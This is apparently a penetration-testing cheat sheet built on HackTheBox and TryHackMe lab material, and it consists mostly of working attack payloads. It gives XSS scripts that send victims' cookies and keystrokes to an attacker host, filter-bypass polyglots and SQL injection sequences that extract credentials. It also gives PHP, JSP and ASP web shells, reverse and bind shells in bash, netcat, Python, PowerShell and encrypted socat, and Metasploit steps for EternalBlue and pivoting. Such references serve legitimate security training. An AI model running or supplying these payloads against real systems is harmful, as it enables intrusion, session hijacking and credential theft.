Exploitation: Gaining Access
A practical reference for penetration testing techniques, from initial exploitation to establishing stable shell connections.
Encoding & Decoding
Data is often encoded in various formats during exploitation. Here are quick commands to handle common encodings.
Base64
# Encode
echo "https://www.hackthebox.eu/" | base64
# Decode
echo "aHR0cHM6Ly93d3cuaGFja3RoZWJveC5ldS8K" | base64 -d
Hexadecimal
# Encode
echo "https://www.hackthebox.eu/" | xxd -p
# Decode
echo "68747470733a2f2f7777772e6861636b746865626f782e65752f0a" | xxd -p -r
ROT13
# Encode
echo "https://www.hackthebox.eu/" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Decode
echo "uggcf://jjj.unpxgurobk.rh/" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Web Exploitation
Cross-Site Scripting (XSS)
XSS allows us to execute JavaScript in a victim’s browser. This can be used for session theft, keylogging, or defacing pages.
Basic Proof of Concept
<script>alert('XSS');</script>
Session Stealing
Captures the victim’s cookie, encodes it in Base64, and sends it to our server:
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger
Records everything the victim types and forwards it to us:
<script>document.onkeypress = function(e) {
fetch('https://hacker.thm/log?key=' + btoa(e.key));
}</script>
Business Logic Abuse
Changes the user’s email address (useful for account takeover):
<script>user.changeEmail('[email protected]');</script>
HTML Injection
Changes the site’s background:
<style>
body { background-image: url('https://academy.hackthebox.com/images/logo.svg'); }
</style>
Filter Evasion Techniques
When filters block common keywords:
JavaScript escape:
';alert('THM');//
Script tag filter bypass:
<sscriptcript>alert('THM');</sscriptcript>
Angle bracket filter bypass:
/images/cat.jpg" onload="alert('THM');
Polyglot (catches most filter variations):
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
Quick Cookie Display
Useful for testing reflected XSS:
#"><img src=/ onerror=alert(document.cookie)>
Cross-Site Request Forgery (CSRF)
CSRF tricks users into performing unintended actions. We can load remote JavaScript payloads:
"><script src=//www.example.com/exploit.js></script>
SQL Injection
SQL injection lets us interact with a database through unsanitized user input.
Basic SQL Structure
Select statements:
-- All columns
select * from users;
-- Specific columns
select username, password from users;
-- Limit results
select * from users LIMIT 1;
-- Skip first result, then limit
select * from users LIMIT 1,1;
-- Filter results
select * from users where username='admin';
select * from users where username != 'admin';
select * from users where username='admin' or username='jon';
select * from users where username='admin' and password='p4ssword';
-- Wildcard searches
select * from users where username like 'a%'; -- starts with 'a'
select * from users where username like '%n'; -- ends with 'n'
select * from users where username like '%mi%'; -- contains 'mi'
Union statements (combine results):
select name,address,city,postcode from customers
union
select company,address,city,postcode from suppliers;
Insert, Update, Delete:
-- Insert new row
insert into users (username,password) values ('bob','password123');
-- Update existing row
update users set username='root',password='pass123' where username='admin';
-- Delete row
delete from users where username='martin';
-- Delete all data (dangerous!)
delete from users;
Union-Based SQL Injection
Step-by-step enumeration:
- Test for vulnerability (comment out the rest):
https://website.thm/blog?id=2;--
- Determine column count (increase until no error):
1 union select 1
1 union select 1,2,3
- Display our data (use 0 to return no results from original query):
0 union select 1,2,3
- Get database name:
0 union select 1,2,database()
- List tables:
0 UNION SELECT 1,2,group_concat(table_name)
FROM information_schema.tables
WHERE table_schema = 'sqli_one'
- List columns in a table:
0 UNION SELECT 1,2,group_concat(column_name)
FROM information_schema.columns
WHERE table_name = 'staff_users'
- Extract credentials:
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>')
FROM staff_users
Authentication Bypass
Bypass login forms without knowing credentials:
Original query:
select * from users where username='%username%' and password='%password%' LIMIT 1;
Bypass payload:
' OR 1=1;--
This creates:
select * from users where username='' and password='' OR 1=1;
Blind SQL Injection
When errors aren’t displayed, we use boolean or time-based techniques.
Boolean-Based (true/false responses):
- Check if user exists:
admin123' UNION SELECT 1;--
- Enumerate database name letter by letter:
admin123' UNION SELECT 1,2,3 where database() like 'a%';--
admin123' UNION SELECT 1,2,3 where database() like 's%';--
- Find tables:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables
WHERE table_schema = 'sqli_three' and table_name like 'a%';--
- Find columns:
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
- Extract data:
admin123' UNION SELECT 1,2,3 from users where username like 'a%'
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%'
Time-Based (when no visual feedback exists)
Use sleep() to detect success:
admin123' union select sleep(5);--
admin123' union select 1,sleep(5);--
If the response delays by 5 seconds, our query executed successfully.
PostgreSQL with Metasploit
# Dump the schema
use auxiliary/scanner/postgres/postgres_schemadump
run postgres://postgres:[email protected]/postgres
# Query specific table
use auxiliary/admin/postgres/postgres_sql
run postgres://postgres:[email protected]/postgres sql='select * from users'
Web Shells
Web shells give us command execution through the web server.
PHP Shells
Basic Linux shell:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
Or simpler:
<?php system($_REQUEST["cmd"]); ?>
Deploy via command line:
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
Usage:
# Browser
http://SERVER_IP:PORT/shell.php?cmd=id
# Curl
curl http://SERVER_IP:PORT/shell.php?cmd=id
Get reverse shell through web shell:
nc <lhost> <lport> -e /bin/bash
Kali includes pre-built shells:
/usr/share/webshells/php/php-reverse-shell.php
JSP Shell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP Shell
<% eval request("cmd") %>
Common Web Roots
| Server | Path |
|---|---|
| Apache | /var/www/html/ |
| Nginx | /usr/local/nginx/html/ |
| IIS | c:\inetpub\wwwroot\ |
| XAMPP | C:\xampp\htdocs\ |
Shell Connections
Netcat Shells
Netcat is the Swiss Army knife of networking.
Reverse Shells (target connects to us)
Start listener on our machine:
nc -lvnp <port>
# -l = listen, -v = verbose, -n = no DNS, -p = port
Bash reverse shell:
bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# Or directly:
bash -i >& /dev/tcp/10.10.14.45/8443 0>&1
Using named pipe:
mkfifo /tmp/f; nc <lhost> <port> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
URL-encoded for command injection:
bash -c 'bash -i >%26 /dev/tcp/10.10.14.93/4333 0>%261'
PowerShell reverse shell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<lhost>",<lport>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Bind Shells (we connect to target)
Target runs:
- Bash:
mkfifo /tmp/f; nc <local-ip> <port> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Python:
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
- PowerShell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
We connect:
nc <rhost> 1234
Socat Shells
Socat provides more feature-rich connections than Netcat.
Reverse Shell with Socat
Our machine (listener):
socat TCP-L:<port> -
Linux target:
socat TCP:<lhost>:<lport> EXEC:"bash -li"
Windows target:
socat TCP:<lhost>:<lport> EXEC:powershell.exe,pipes
Bind Shell with Socat
Linux target:
socat TCP-L:<port> EXEC:"bash -li"
Windows target:
socat TCP-L:<port> EXEC:powershell.exe,pipes
Our machine (connect):
socat TCP:<rhost>:<rport> -
Fully Stable TTY Shell
Our machine:
socat TCP-L:<port> FILE:`tty`,raw,echo=0
Linux target:
socat TCP:<lhost>:<lport> EXEC:"bash -li",pty,stderr,sigint,setid,sane
Add -d -d for debugging output.
Encrypted Socat Shells
Generate certificate:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -X509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
Encrypted reverse shell:
# Our machine
socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -
# Target
socat OPENSSL:<lhost>:<lport>,verify=0 EXEC:/bin/bash
Encrypted bind shell:
# Target
socat openssl-listen:<port>,cert=shell.pem,verify=0 exec:cmd.exe,pipes
# Our machine
socat openssl:<rhost>:<rport>,verify=0 -
Encrypted TTY shell:
# Listener
socat openssl-listener:<port>,cert=encrypt.pem,verify=0 file=`tty`,raw,echo=0
# Speaker
socat openssl:<lhost>:<lport>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane
Shell Stabilization
Basic shells are often unstable. Here is how to improve them.
Python PTY (Linux)
On the target:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Then on our machine:
- Press
Ctrl+Zto background - Run:
stty raw -echo; fg - Press
Entertwice
Using RLWRAP (Best for Windows)
rlwrap adds readline capabilities:
rlwrap nc -lvnp <port>
For Linux shells, further stabilize with:
Ctrl+Zto backgroundstty raw -echo; fg
Terminal Size
Fix display issues by matching terminal dimensions:
Our machine:
stty -a # Note rows and columns
Target:
stty rows <number>
stty cols <number>
Metasploit Framework
A powerful exploitation platform.
Basic Usage
Search for exploits:
# Search exploit database
searchsploit openssh 7.2
# Launch Metasploit
msfconsole
# Search within Metasploit
search exploit eternalblue
search cve:2009 type:exploit
Configure and run:
# Select exploit
use exploit/windows/smb/ms17_010_psexec
# View options
show options
# Set targets
set rhost 10.10.10.40 # Target IP
set lhost tun0 # Our IP (VPN interface)
# Check if vulnerable (if available)
check
# Execute
exploit
Session Management
Upgrade to Meterpreter:
sessions -u -1
Resolve hostnames:
resolve webservice_database
Pivoting
Route traffic through compromised hosts:
# Add route through last session
route add <ip>/32 -1
# View routes
route print
SOCKS Proxy for Pivoting
use auxiliary/server/socks_proxy
run srvhost=127.0.0.1 srvport=9050 version=4a
Test the proxy:
curl --proxy socks4a://localhost:9050 http://172.17.0.1 -v
Scan through proxy:
proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 172.17.0.1
SSH through Metasploit:
use auxiliary/scanner/ssh/ssh_login
run ssh://username:[email protected]